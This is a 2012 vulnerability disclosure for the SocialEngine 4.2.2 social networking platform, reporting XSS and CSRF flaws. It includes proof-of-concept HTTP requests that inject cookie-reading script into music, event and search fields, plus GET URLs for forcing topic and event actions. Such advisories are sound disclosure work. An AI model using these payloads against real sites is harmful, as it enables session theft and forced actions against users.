SocialEngine 4.2.2 – Multiple Vulnerabilities
Social Engine 4.2.2 Multiples Vulnerabilities Earlier versions are also possibly vulnerable. INFORMATION Product: Social Engine 4.2.2 Remote-Exploit: yes Vendor-URL: http://www.socialengine.net/ Discovered by: Tiago Natel de Moura aka "i4k" Discovered at: 10/04/2012 CVE Notified: 10/04/2012 CVE Number: CVE-2012-2216 OVERVIEW Social Engine versions 4.2.2 is vulnerable to XSS and CSRF. INTRODUCTION SocialEngine is a PHP-based white-label social networking service platform, that provides features similar to a social network on a user's website. Main features include administration of small-to-mid scale social networks, some customization abilities, unencrypted code, multilingual capability, and modular plugin/widget compatibility. There is a range of templates and add-ons available to extend the basic features already included in the SocialEngine core. VULNERABILITY DESCRIPTION == Persistent XSS in music upload. == CWE-79: http://cwe.mitre.org/data/definitions/79.html The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Proof Of Concept: POST http://localhost/index.php/music/create POST data without form-data enctype: title=<script>alert(document.cookie);</script>&description=teste &search=1&auth_view=everyone&MAX_FILE_SIZE=8388608&filename= &fancyuploadfileids=15 == Persistent XSS in creating events == POST http://localhost/socialengine/socialengine422_trial/index.php/events/create POST data without form-data enctype: title=teste XSS 3&description=teste XSS 3&starttime[date]=4/9/2012& starttime[hour]=1&starttime[minute]=0&starttime[ampm]=AM&endtime[date]=4/12/2012 &endtime[hour]=1&endtime[minute]=0&endtime[ampm]=AM&host=teste &location=<script>alert(document.cookie);</script>&MAX_FILE_SIZE=8388608& photo=&category_id=0&search=&search=1&approval=&auth_invite=&auth_invite=1& auth_view=everyone&auth_comment=everyone&auth_photo=everyone&submit= == Reflected XSS in search form of events area. == Direct javascript injected: POST http://localhost/index.php/widget/index/content_id/644 format=html&subject=event_1&search=';alert(document.cookie);var a = ' Proof of Concept: - - Go to URL: /index.php/event/$EVENT_ID - - Click on the "Guests" - - Click in "Search guests" form - - Submit: ';alert(document.cookie); var a = ' You will see your PHPSESSID in the alert. == Multiples CSRF vulnerabilities == CWE-352: http://cwe.mitre.org/data/definitions/352.html The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. A CSRF in the plugin "Forum" allows forcing the owner of the event to do some activities such as: Close a topic: GET /index.php/forums/topic/4/example-topic/close/close/1 Open a topic: GET /index.php/forums/topic/4/example-topic/close/close/0 A CSRF in the plugin "Event" allows forcing the owner of the event to do some activities such as: Close the event: GET /index.php/events/topic/close/close/1/event_id/2/topic_id/2 Open the event: GET /index.php/events/topic/close/close/0/event_id/2/topic_id/2 "Watch Topic": GET /index.php/events/topic/watch/watch/1/event_id/2/topic_id/2 "Stop Watching Topic": GET /index.php/events/topic/watch/watch/0/event_id/2/topic_id/2 A CSRF in the plugin "Classifieds" allows forcing the owner of the event to do some activities such as: Open the classified listing: GET /index.php/classifieds/close/1/closed/0 Close the classified listing: GET /index.php/classifieds/close/1/closed/1 VERSIONS AFFECTED Tested with version 4.2.2 but earlier versions are possibly vulnerable. SOLUTION Upgrade to Social Engine 4.2.4. NOTES The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2012-2216 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. CREDITS Tiago Natel de Moura aka "i4k" SEC+ Information Security Company - http://www.secplus.com.br/ BugSec Security Team - http://bugsec.googlecode.com/ -- Tiago Natel de Moura IT Security Consultant http://www.linkedin.com/in/tiagonatel http://www.secplus.com.br/ http://github.com/tiago4orion http://code.google.com/p/bugsec |